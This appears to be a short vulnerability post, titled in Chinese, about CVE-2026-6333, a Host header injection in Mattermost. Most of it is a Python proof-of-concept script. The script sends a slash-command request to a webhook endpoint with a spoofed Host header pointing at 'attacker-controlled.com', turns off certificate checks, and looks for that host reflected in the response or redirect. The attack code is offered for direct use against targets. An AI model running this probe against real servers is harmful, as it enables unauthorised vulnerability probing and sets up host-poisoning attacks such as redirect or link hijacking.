CVE-2026-6333: Mattermost Host头注入漏洞

# PoC for CVE-2026-6333: Mattermost Host Header Injection import requests def check_vulnerability(target_url, malicious_host): """ Checks if the target is vulnerable by sending a request with a spoofed Host header. """ headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Example payload to trigger a slash command response payload = { "command": "/custom_command" } try: response = requests.post(target_url, headers=headers, json=payload, verify=False) # Check if the malicious host appears in the response (e.g., in a redirect URL or text) if malicious_host in response.text or malicious_host in response.headers.get('Location', ''): print(f"[+] Vulnerability Detected! Malicious host '{malicious_host}' found in response.") return True else: print("[-] Vulnerability not detected or Host header not reflected.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "https://mattermost.example.com/hooks/xxxxxxx" # Replace with actual endpoint evil_host = "attacker-controlled.com" check_vulnerability(target, evil_host)